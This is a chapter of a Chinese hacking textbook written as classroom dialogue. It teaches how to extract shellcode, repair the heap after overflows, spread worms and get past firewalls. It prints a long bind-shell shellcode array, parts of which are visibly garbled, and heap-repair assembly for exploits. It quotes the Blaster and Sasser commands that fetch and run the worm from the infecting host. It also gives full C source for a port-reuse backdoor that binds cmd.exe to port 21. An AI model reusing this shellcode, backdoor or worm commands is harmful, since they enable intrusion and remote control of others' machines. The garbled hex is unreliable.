6.2 ShellCode的高效提取技巧
“刚才那个代码你想清楚了吗?聪明才子!”课间时小倩问宇强。
“唉,别这么说嘛,我会不好意思的!”
小倩:“我倒~”
“我跟踪了一下,那个程序的确就是按照老师讲的思路,先找Kernel32.dll的基址,然后用HASH值,在相关dll的引出表中找每个函数的地址。”
“哦,你还厉害嘛!”
“呵呵!剩下的就没什么了,就是我们一般ShellCode的编写方法。具体程序可以看看我整理出来的BindByHASH.cpp。理解时就像老师说的:关键理解思路!”
“哦,等会儿我看看。”
“上课了!”老师在台上说道,大家赶紧坐好。
“大家觉得通用ShellCode怎么样?”
“哇!太厉害了,任何系统版本下都可以使用,这下我们轻松多了。”玉波满意的说。
“呵呵,对大家有帮助就好。”老师笑道。
“通用方法是有了,但是老师,还有更累人的事情啊!还要提取ShellCode呢!”玉波再次问道,“这么长的代码,让我们一个个抄,太不厚道了吧?”
大家都笑了,老师说,“好好好……我们看看如何简单的提取ShellCode吧!”
6.2.1 汇编内存提取
“还是用一个实际例子吧!”老师说,“我们把刚才那个监听后门的通用汇编代码提取成ShellCode。”
“好吧!如果那个程序一句句的对应着抄下来会死人的,好多啊!”
“呵呵,今天我们用个简单的方法吧!在内存里直接拷贝!”
“嗯?如何直接拷贝?”
“我们用VC嵌入汇编,然后按F10进入调试状态,这几步大家都轻车熟路了吧!在真正单步进入我们嵌入的汇编代码时,用前面编写汇编代码时教过的方法调出内存窗口,在内存窗口中输入 eip ,内存窗口就会显示从eip开始的数据。”
“而此时从eip开始的数据,就是我们想要的ShellCode代码,如图6-12。”
“哦?ShellCode开始时是55 83 EC 64,内存窗口里也是55 83 EC 64,真的一样也!”
“那当然,数据又不会从天上掉下来,都是在内存里面的,”老师说,“接下来,我们就可以从内存窗口里拷贝、粘贴。稍微整理一下,然后把空格替换成‘\x’,就轻松得到ShellCode了!”
★
unsigned char ShellCode[] =
\x55\x83\xEC\x64\x8B\xEC\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B
\x70\x1C\xAD\x8B\x78\x08\x8B\x47\x3C\x8B\x54\x07\x78\x03\xD7\x8B
\x4A\x18\x8B\x5A\x20\x03\xDF\x49\x8B\x34\x8B\x03\xF7\xB8\x47\x65
\x74\x50\x39\x06\x75\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7
\x8B\x5A\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B\x04
\x8B\x03\xC7\x89\x45\x4C\x6A\x00\x68\x61\x72\x79\x41\x68\x4C\x69
\x62\x72\x68\x4C\x6F\x61\x64\x54\x57\xFF\x55\x4C\x89\x45\x50\x68
v70\x65\x00\x00\x68\x74\x65\x50\x69\x68\x43\x72\x65\x61\x54\x57
\xFF\x55\x4C\x89\x45\x04\x68\x73\x41\x00\x00\x68\x6F\x63\x65\x73
\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x57\xFF\x55\x4C\x89
\x45\x08\x6A\x65\x68\x64\x50\x69\x70\x68\x4E\x61\x6D\x65\x68\x50
\x65\x65\x6B\x54\x57\xFF\x55\x4C\x89\x45\x0C\x6A\x65\x68\x65\x46
\x69\x6C\x68\x57\x72\x69\x74\x54\x57\xFF\x55\x4C\x89\x45\x10\x6A\x\x
\x00\x68\x46\x69\x6C\x65\x68\x52\x65\x61\x64\x54\x57\xFF\x55\x4C\x\x
\x89\x45\x14\x68\x65\x73\x73\x00\x68\x50\x72\x6F\x63\x68\x45\x78\x\x
\x69\x74\x54\x57\xFF\x55\x4C\x89\x45\x18\x68\x33\x32\x00\x00\x68\x\x
\x57\x73\x32\x5F\x54\xFF\x55\x50\x8B\xF8\x68\x75\x70\x00\x00\x68\x\x
\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x57\xFF\x55\x4C\x89\x45\x\x
\x1C\x68\x65\x74\x00\x00\x68\x73\x6F\x63\x6B\x54\x57\xFF\x55\x4C\x\x
\x89\x45\x20\x6A\x00\x68\x62\x69\x6E\x64\x54\x57\xFF\x55\x4C\x89\x\x
v45\x24\x68\x65\x6E\x00\x00\x68\x6C\x69\x73\x74\x54\x57\xFF\x55\x\x
\x4C\x89\x45\x28\x68\x70\x74\x00\x00\x68\x61\x63\x63\x65\x54\x57\x\x
\xFF\x55\x4C\x89\x45\x2C\x6A\x00\x68\x73\x65\x6E\x64\x54\x57\xFF\x\x
\x55\x4C\x89\x45\x30\x6A\x00\x68\x72\x65\x63\x76\x54\x57\xFF\x55\x\x
\x4C\x89\x45\x34\xB8\x00\x00\x00\x00\xC6\x45\x38\x00\xC6\x45\x3C\x\x
\x00\xC6\x45\x40\x00\xC6\x45\x44\x00\xC6\x45\x48\x00\x81\xEC\x90\x\x
v01\x00\x00\x54\x68\x02\x02\x00\x00\xFF\x55\x1C\x6A\x06\x6A\x01\x\x
\x6A\x02\xFF\x55\x20\x8B\xD8\x33\xFF\x57\x57\xB8\x02\x00\x03\x3E\x\x
\x50\x8B\xF4\x6A\x10\x56\x53\xFF\x55\x24\x47\x47\x57\x53\xFF\x55\x\x
\x28\x6A\x10\x8D\x3C\x24\x57\x56\x53\xFF\x55\x2C\x8B\xD8\x33\xFF\x
\x47\x57\x33\xFF\x57\x6A\x0C\x8B\xF4\x57\x56\x8D\x45\x3C\x50\x8D\x\x
\x45\x38\x50\xFF\x55\x04\x57\x56\x8D\x45\x44\x50\x8D\x45\x40\x50\x\x
\xFF\x55\x04\x81\xEC\x80\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68\x80\x\x
\x00\x00\x00\x59\xF3\xAB\x8D\x3C\x24\xB8\x01\x01\x00\x00\x89\x47\x\x
v2C\x8B\x45\x40\x89\x47\x38\x8B\x45\x3C\x89\x47\x3C\x8B\x45\x3C\x
\x89\x47\x40\xB8\x63\x6D\x64\x00\x89\x47\x64\x8D\x44\x24\x44\x50\x\x
\x57\x51\x51\x51\x41\x51\x49\x51\x51\x8D\x47\x64\x50\x51\xFF\x55\x\x
\x08\x81\xEC\x00\x04\x00\x00\x8B\xF4\x33\xC9\x51\x51\x8D\x7D\x48\x\x
\x57\xB8\x00\x04\x00\x00\x50\x56\x8B\x45\x38\x50\xFF\x55\x0C\x8B\x
\x07\x85\xC0\x74\x19\x33\xC9\x51\x57\xFF\x37\x56\xFF\x75\x38\xFF\x
\x55\x14\x33\xC9\x51\xFF\x37\x56\x53\xFF\x55\x30\xEB\xC3\x33\xC9\x\x
\x51\xB8\x00\x04\x00\x00\x50\x56\x53\xFF\x55\x34\x89\x07\x33\xC9\x
\x51\x57\xFF\x37\x56\xFF\x75\x44\xFF\x55\x10\xEB\xA4
★
“用教过的方法测试一下,轻松成功!如图6-13。”
“哇!这么好的方法都不早说!”同学们叫了起来。“我们以前抄的好辛苦啊!”
“呵呵!我是为了大家好,先真正了解系统流程后,再用提高效率的方法。我们再来看一种方法——从EXE文件中提取ShellCode。”
6.2.2 可执行文件提取
“我们得到汇编的程序并测试成功后,就会生成EXE可执行文件。”老师说道,“如果是调试版,会在Debug目录下;如果是发表版,会在Release目录下。如图6-14。”
“我们用任意一款16进制编辑器打开EXE文件。我这里用的是WinHex(光盘有收录),大家可以看到,EXE的开始是4D 5A,就是MZ标志;在C0那排有一个PE标志,如图6-15。”
“我们在EXE文件数据中查找,找到ShellCode的开头,如这里是55 83 EC 64,如图6-16。”
“找到ShellCode的开始数据之后,我们将其复制,粘贴出来,也可轻松完成ShellCode的提取了。”
“哦!真是好方法啊。但定位ShellCode的开始和结束有点麻烦啊!”
“我们可以加入一些标志,比如连续的几个‘0x90’(即NOP)来表示ShellCode的开始和结束。方法是人想出来的,路是人走出来的。”
“好,我们再来看一个更经典的方法——直接利用C语言写程序,然后自动提取打印出ShellCode来。”
6.2.3 C语言直接提取
“直接用C语言来写?”
“嗯, 说全部用C语言来写,也不太准确。”老师说,“应该说是ShellCode部分由汇编和C语言混合编程。汇编部分主要是完成动态定位函数地址,而C语言部 分是完成程序的功能流程。整个程序的本质,就是让编译器为我们生成二进制代码,然后在运行时编码、打印,这样就完成了一个模板。”
“大家联想一下内存提取和可执行文件提取,就会发现这三种提取方法都是类似的——都是直接把二进制代码拷贝出来。”
“哦!”
“给大家解释一下混合编程的结构以及流程思路吧!C语言直接写ShellCode的思路,最早也可从yuange文章中见到,而hume将其发扬光大。”
“混合编程里有4个函数:ShellCodes函数、DecryptSc函数、PrintSc函数和main函数。”
“在ShellCodes函数里面,生成完成功能的ShellCode,采用的是汇编和C语言混合编程。”老师说道,“首先是汇编部分,就是动态获得每个要使用函数的地址;然后用C语言来直接调用函数,完成想要的功能。”
“DecryptSc函数,是生成解码代码decode的部分;”
“PrintSc函数,是直接把合好的ShellCode按16进制数的形式打印出来。”
“而main函数,就是把各个部分组织起来,以自动化的生成ShellCode并打印出来。”
“具 体来说,main函数里面先定义要查找的函数名和所在的模块;然后保存DecryptSc函数生成的decode部分;再把ShellCodes函数生成 的代码进行编码,粘贴在decode后面;最后调用PrintSc函数,把最终完成的ShellCode打印出来。其流程如图6-17。”
“其他几个函数都好理解,关键就是ShellCodes函数代码部分的生成。”
“ShellCodes函数分为两大部分,动态获得函数地址就不说了,我们刚才学了几种方法,都是可以的;而高级语言调用函数的部分,hume采用的是枚举方法执行。”
“函数名称数组和枚举数组对应,增加API时只需在相应的.dll后增加函数名称项,并同步更新Enum的索引。调用API时直接使用 API[_APINAME](param,....param); 即可。像这样:”
★
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
★
“由此可见,用C语言编写ShellCode需要对代码生成及C编译器行为有更多的了解。有些地方处理起来也不是很省力,不过一旦模板写成,以后写起来或写复杂的ShellCode时,就省力多了。”
“我们来测试一下吧!”大家跃跃欲试。
“程序大家可参看GetShellCodeByC.cpp(光盘有收录)。注意了,我们需要对工程正确的配置才能达到效果。”老师提醒道,“我们要选择release版编译,并去掉优化选项。”
“优化?如何去掉?”
“打开菜单下的‘工程→设置’对话框,在‘C/C++’选项卡下删除‘/02’项,如图6-18。”
“点OK,设置完毕。我们运行,就可弹出测试对话框,并且得到打印好的ShellCode。如图6-19。”
“哇!好方便啊!”
“是啊!大家下来自己测试一下,对应着改变API函数的名称和枚举值,测试完成一下其他的功能。”老师说道。
“好哩!真是太有趣了!”
“大家可要注意整理文档,记下方法。”老师说道,“好记性不如烂笔头,多学多记总有好处的。”
6.3 ShellCode的高级功能
“通用性可以了,提取也方便了。我们现在想给ShellCode添加什么功能就可添加什么功能了。哈哈,太爽了!”玉波说道。
“我们还可在ShellCode里面监听、嗅探、记录密码呢!”古风说。
“我们可以写一个万能的ShellCode啦!”宇强也附和着。
“当然可以,但功能越强,代码就越长。同ShellCode需要尽量短小是矛盾的。”老师比喻道,“就如女生们都想瘦,但穿了太多的衣服,就怎么也瘦不下去了。”
“哦!怪不得有‘要风度不要温度’一说啊!”宇强说这句话时转向旁边的小倩。
“啥嘛!认真听课!”
“但有一些功能是ShellCode里面应该考虑到的,我们讨论几个常用的技巧吧!”
6.3.1 恢复堆链表
“第一个技巧就是恢复堆链表。”
“我们在堆溢出利用时说过,”老师说道,“需要把堆链表进行恢复,才能运行一些ShellCode。”
“恢复的思路就是:找到系统中堆结构的开始地方,把覆盖后的堆块还给系统。”
“在这里,我们没有必要详细讲解Windows的堆结构了。直接给出恢复堆链表处理代码和解释吧!”
★
//XP edii+74是下一堆块管理结构,如果是Win2000,就是esi+0x4C
mov edx, dword ptr[edi+74]
// 把ebx赋为0x18
push 0x18
pop ebx
// 得到TEB,fs:[18]和fs:[0]都是指向TEB的
mov eax, dword ptr fs:[ebx]
//从TEB+0x30得到PEB
mov eax, dword ptr[eax+0x30]
// PEB+0x18为默认堆地址指针
mov eax, dword ptr[eax+0x18]
//把TotalFreeSize的值给堆管理结构的第一部分size
add al,0x28
mov si, word ptr[eax]
mov word ptr[edx],si
//把堆管理结构第二部分sizeprevious size设成 8
inc edx
inc edx
mov byte ptr[edx],0x08
//设置堆管理结构的其他部分
inc edx
mov si, word ptr[edx]
xor word ptr[edx],si
inc edx
inc edx
mov byte ptr[edx],0x14
inc edx
mov si, word ptr[edx]
xor word ptr[edx],si
inc edx
inc edx
// 堆基址+0x178的地方为FreeLists结构
add ax,0x150
// 让FreeLists[0].Flink和FreeLists[0].Blink都指向堆管理结构
mov dword ptr[eax],edx
mov dword ptr[eax+4],edx
//让堆管理结构也指向FreeLists,完成堆的恢复
mov dword ptr[edx],eax
mov dword ptr[edx+4],eax
★
“至于Windows堆结构的讲解,以后有机会我们再讲吧!”老师说道,“现在我们直接拿来用。在一般的ShellCode前加上这段代码,就可恢复覆盖掉的堆结构。”
6.3.2 TTP和FTP客户端——冲击波/震荡波传播的实现
“而第二个技巧,就是考虑蠕虫病毒们的传播技巧。”
“Nimda、冲击波以及震荡波蠕虫,都曾给网络带来巨大的破坏,其传播速度之快,除了很多机器系统本身具有漏洞之外,还有个重要的原因:蠕虫具有很强的在网络上自我复制和传输的能力。”
大家都认真的听着。
“我们这里只分析它们的传播方法,不教大家如何写蠕虫病毒!”老师强调说,“让大家知道怎样更好的防范。”
“嗯,知道了,老师接着说吧!”
“Nimda和冲击波在网络上的自我复制和传输,是利用TFTP来实现的;而震荡波,则是进行了改进,用FTP实现的。”
“让 我们来看看TFTP是如何工作的。以下载文件为例,在开始工作时,客户发送一个读请求给服务器,如果请求的文件能被读取,TFTP服务器就返回一个块编号 为1的数据分组;TFTP客户发送一个块编号为1的ACK;TFTP服务器随后发送块编号为2的数据;TFTP客户发回块编号为2的ACK。重复这个过 程,直至这个文件传送完毕。”
★
小知识:TFTP是基于UDP的,其数据报有四种类型
第一种:客户发出的是读或写请求,含有文件名和模式。操作码是1或2。
第二种:服务器发送的数据,含有块编号和512字节的数据。操作码是3。
第三种:客户发的回应,含有收到的块编号。操作码是4。
第四种:错误信息,含有差错码和差错信息。操作码是5。
其类型如图6-20,我们可据此编写出TFTP的服务器。
“好 了,说了这么多,在Windows中,我们利用现成的TFTP服务程序来实现上传和下载文件是很简单的。TFTPD32.exe是个很好的TFTP服务 器,由Ph.Jounin编写。直接运行TFTPD32.exe,就可建立一个TFTP服务器。可以选择要绑定的IP和目录文件夹,其运行界面如图 6-21。”
“而 TFTP的客户端是Windows自带的。在命令行下直接运行 TFTP –i IP Get (Put) FileName 就可在本机执行TFTP客户端,以供和服务器传输文件。如图6-22,在IP为192.168.1.166的TFTP服务器上下载了一个名为ww.txt 的文件。”
“这招常被黑客使用:他们在自己的主机上建一个TFTP服务器,进入别人的主机后,直接输 tftp –i 自己ip Get (Put) FileName 就可实现文件上传/下载,如下载自己感兴趣的东东,或上传一个木马之类的。”
“然而在Nimda和冲击波等病毒中,它们用的是谁的TFTP服务器呢?肯定不会是用TFTPD32建立的服务器吧!那是谁建的服务器呢?”同学们问道。
“嗯,答案就是:病毒自己!在病毒程序中,自己实现了一个TFTP服务器!”
“哦?”
“冲击波运行时,分成了两个线程。”
“其中一个线程功能是:在本机绑定并监听69端口,建立一个TFTP服务器等待别的机器来连接。如果有其他主机连接这个服务器,则会把msblast.exe文件传送过去。”
“另 一个就是攻击线程。它向其他主机的135端口发送攻击代码——ShellCode,如果其他主机有系统漏洞,就会执行攻击代码。而它的攻击代码是精心构造 的,所完成的功能就是执行 TFTP -i ip GET msblast.exe 去下载冲击波程序,下载完毕后并且执行。”
“哦,冲击波的ShellCode就只是 TFTP -i ip GET msblast.exe 这句话啊?那和我们的ShellCode比起来,差远了也!”古风说道。
“呵呵!是的,通过改ShellCode和覆盖地址,可使它的功能更通用、强大。”老师说道,“我们再来看看震荡波,它是通过FTP来传播的。”
“FTP 和TFTP相比较,功能更加完善,不仅可完成上传和下载文件的功能,还可列出目录,可进行用户名和密码的认证,并且可对文件传送与存储方式进行选择等。在 Windows下,有许多可以建立FTP服务器的软件,比如Serv_U、WP_FTP等,还可安装IIS服务来建立FTP服务器等。”
“震荡波运行时,也是分成了多个线程。其中一个是在本机的5554端口上,产生一个小型的FTP服务器!震荡波就利用这个服务器来向其他有漏洞的主机发送蠕虫本身文件!”
“接 下来,震荡波向其他主机发送攻击代码,如果对方主机有漏洞,则会在9996端口绑定一个Shell,并且会执行以下命令: echo off&echo open [infecting machine's IP] 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo user&echo bin>>cmd.ftp&echo get [rand]_up.exe>>cmd.ftp&echo bye>>cmd.ftp&echo on&ftp -s:cmd.ftp&[rand]i_up.exe&echo off&del cmd.ftp&echo on ”
“我 对上面的命令解释一下。大家知道,‘&’前后的命令在DOS下会依次执行。比如 net use ww /add & net localgroup administrators ww /add ,就会先添加一个名为‘ww’的用户,然后再将‘ww’加入管理员组。”
“这里震荡波先使用重定向符号‘>>’向cmd.ftp文件中输入:”
★
open [infecting machine's IP] 5554 //连接5554端口,即进入小型FTP服务器
anonymous //用户名,为匿名
user //密码
bin //二进制模式
get [rand]_up //接收震荡波蠕虫的文件!!
bye //退出FTP服务器
★
“然后再用经典的:”
★ftp -s:cmd.ftp //即用cmd.ftp内的参数,执行ftp,完成下载★
“最后执行震荡波蠕虫文件和删除cmd.ftp:”
★[rand]i_up.exe del cmd.ftp★
“这样,就完成了震荡波从一台主机向另一台主机的传播!”
“哦,原来是这样啊!还是比较简单啊!”
“呵呵,大家经过这半期的学习,应该能轻松写出比他们更好的功能吧?”
“嗯,是啊!原来传说中的冲击波/震荡波病毒也没多了不起啊!”古风自信的说。
“老师,你说他们写冲击波/震荡波干嘛?只是传播一下么?对作者什么用处也没有?”玉波问道。
“他们只是想表达一种表现欲!希望别人佩服自己的能力。”老师说道,“大家可千万不要这样啊!这可是违法国家法律的行为。”
6.3.3 突破防火墙
“而第三个技巧,就是考虑如何突破防火墙和一些限制环境了!”
“我们的反连ShellCode不是可以起到突破防火墙的作用吗?”玉波问道。如图6-23。
“是的,但那样需要我们攻击方在公网上,有一个公网的IP地址。如果攻击方在内网,那目标机就反连不上来,这种方式就行不通了,如图6-24。”
“哇!是啊!这种情况下如何突破呢?”宇强也迷糊了。
“呵呵!现在我们既不能从攻击机发起连接,因为会被目标机的防火墙阻断;也不能从目标机发起连接,因为到不了攻击机的内网。”
“啊!岂不是路都堵死了?”小倩说道。
“大家不要在一条路上想死了,要换一个思路。”老师说道。“我们既然可以给远程机器发送攻击代码,那么它们之间应该是连接的!而远程机器间的连接通信一般都是通过Socket来完成的。”
“哦!我们利用原来的连接?”宇强叫了出来。
“对,如果我们的ShellCode可以找到发送攻击代码的那条通路的Socket,就可直接使用以前那个连接Socket,不用再新建端口了!如图-25。”
“哦!很巧妙啊!”台下感叹道。
“另外,服务器总要开些端口,我们也可把Shell的端口开在防火墙打开的端口上。”老师说,“通过端口复用来突破防火墙!”
“比如,对方开放了FTP服务,那么防火墙就需要打开21端口。我们的ShellCode就可复用目标机的21端口,在对方的21端口上绑定一个Shell;而攻击机通过连接21端口来获得Shell。如图6-26。”
“我们来看看复用端口的具体实现吧!程序如下:”
★
/*
绑定指定21端口,绑定cmd.exe
*/
#include
#include
#include
#include
#include
#include
#pragma comment(lib, "ws2_32")
int main(int argc, char **argv)
{
//启动winsock
WSAData wsa;
WORD wVersion;
int ret;
wVersion = MAKEWORD(2, 0);
if(WSAStartup(wVersion, &wsa) != 0)
{
return -1;
}
//下面获取本机IP地址
char szHostName[128];
char *pszIp;
HOSTENT *pHost = NULL;
if(gethostname(szHostName, 128)==0)
{
pHost = gethostbyname(szHostName);
if(pHost != NULL)
{
pszIp = inet_ntoa( *(in_addr*)pHost->h_addr_list[0] );
}
else
{
printf("get host ip fail!\n");
return -1;
}
}
else
{
printf("can't find host name!\n");
return -1;
}
//创建服务端套接字
SOCKET ss;
if((ss = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
//设置套接字选项,SO_REUSEADDR选项就是可以实现端口重绑定的
//但如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功
BOOL val = TRUE;
if(setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//重新绑定,这里重新绑定21端口
SOCKADDR_IN saddr;
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(pszIp);
saddr.sin_port = htons(21);
if(bind(ss, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
{
ret = GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(ss, 2);
//等待连接
SOCKET clientFD;
SOCKADDR_IN caddr;
int nCaddrSzie;
nCaddrSzie = sizeof(caddr);
clientFD = accept(ss, (struct sockaddr *)&caddr,&nCaddrSzie);
//连接之后,就和双管道后门完全一样了
char Buff[1024];
SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
//建立匿名管道1
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
//建立匿名管道2
pipeattr2.nLength = 12;
pipeattr2.lpSecurityDescriptor = 0;
pipeattr2.bInheritHandle = true;
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
/*
解释一下,这段代码创建了一个cmd.exe,把cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换;cmd.exe的标准输入用第二个管道的读句柄替换。如下:
远程主机←入←管道1输出←管道1输入←输出(cmd.exe子进程)
远程主机→输出→管道2输入→管道2输出→输入(cmd.exe子进程)
*/
unsigned long lBytesRead;
while(1)
{
//检查管道1,即CMD进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//管道1有输出,读出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
//否则,接收远程客户机的命令
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
//将命令写入管道2,即传给CMD进程
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
WSACleanup();
return 0;
}
★
“其实,关键就是下面这句:”
Setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0
“它把套接字‘ss’设为重用,这样就可重新绑定端口了。”
古风说道,“听起来很有意思和用处也!”
“嗯,这门课只懂得原理是远远不够的,实践才是关键。大家下去也亲自测试一下,并考虑提取成ShellCode。”
“好哩!用汇编和C语言直接提取都没问题。”古风摩拳擦掌。
“下次课我们会继续深入讲解漏洞的发现和分析!”
“那些更是我们想知道的东东!好啊!”同学们都欢呼起来。
“今天的课就讲到这里。天气有点冷,大家多注意身体。放学!”
课后解惑
Q:EXE文件里提取出来的ShellCode是一个字节一个字节分开的,如何更高效的自动生成“\x01\x02\x03\x04”的形式呢?
A: 我们可采用替换的方式,把空格直接替换成“\x”;也可把字节粘贴在一个文件中,然后写一个程序,把每个字节加上“\x”标志后打印出来,完成规范化 ShellCode的生成。比如下面这个程序就可读取shellcode.txt文本中的字符,然后生成规范的ShellCode数组:
★
#include
int main()
{
FILE *fp;
fp = fopen("ww.txt", "r");
char shellcode[5];
int num = 0;
printf("\"");
while( fscanf(fp, "%s",shellcode) !=EOF )
{
num++;
printf("\\x%s",shellcode);
if(num % 16 == 0)
{
printf("\"\n\"");
}
}
printf("\"\n");
return 0;
}
★
Q:我们在C语言提取时,要在“工程”设置中去掉“/O2”选项,“/O2”是什么意思?
A:“/O2”表示优化,达到最大化速度。
Q:能讲一下其他的常见编译选项吗?
A:我们结合具体的设置来讲吧!Release版下的设置如图6-27。
在 它的设置选项中,包括/nologo /ML /W3 /GX /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /Fp"Release/GetShellCodeByC.pch" /YX /Fo"Release/" /Fd"Release/" /FD /c
每一项的具体解释如下:
★
/ML:与LIBC.LIB链接
/W3:设置警告等级,这里是3
/GX[-]?:启用C++异常处理
/D{=|#}:定义宏
/D "WIN32":定义WIN32,表明是WIN32程序;
/D "NDEBUG":没有调试信息
/D "_CONSOLE":控制台程序
/D "_MBCS":MBCS字集
/Fp:命名预编译头文件
/Fp"Release/GetShellCodeByC.pch":这里预编译头文件为GetShellCodeByC.pch
/YX[file]:自动的.PCH文件
/Fo:命名对象文件
/Fd[file]:命名.PDB文件
★
而Debug版的设置如图6-28。
可 见选项包括:/nologo /MLd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /Fp"Debug/GetShellCodeByC.pch" /YX /Fo"Debug/" /Fd"Debug/" /FD /GZ /c
和release版本的差别有:
/MLd:与LIBCD.LIB调试库链接,LIBCD.LIB是调试版本
/Gm[-]:启用最小重新生成
/ZI:启用调试信息的“编辑并继续”功能
/Od:禁用优化
Q:好像有人在命令行下编程,那是如何实现的?
A: 其实VC的本质是一个C/C++编译器,而我们看到的界面,都是上层的东西。VC的编译器程序是\VC98\Bin目录下的cl.exe,我们可在DOS 环境下通过它来编译程序。步骤如下:先运行同目录下的VCVARS32.bat,设置环境变量;然后就可执行cl.exe,如 cl.exe ww.cpp ,就会生成ww.exe。如果有必要,还可加上那些编译选项。
Q:防火墙的技术和实现原理是什么?
A:防 火墙分企业级和个人防火墙两种。企业级的防火墙,实现思路要简单一点。一般的厂商都是利用公开源码的Linux,重编译内核,加上安全选项,裁减加固,再 做个用户界面,就可作为防火墙商品了。而Windows下的个人防火墙,反而还要麻烦一点,涉及到HOOK技术和底层驱动程序的开发。
Q:HASH听起来很熟悉,有什么用处呢?
A:HASH可用于高效查找,而且在数字签名中发挥了重要作用。
///////////////////////////////////////////////////////////////////////////////////////////////////////////////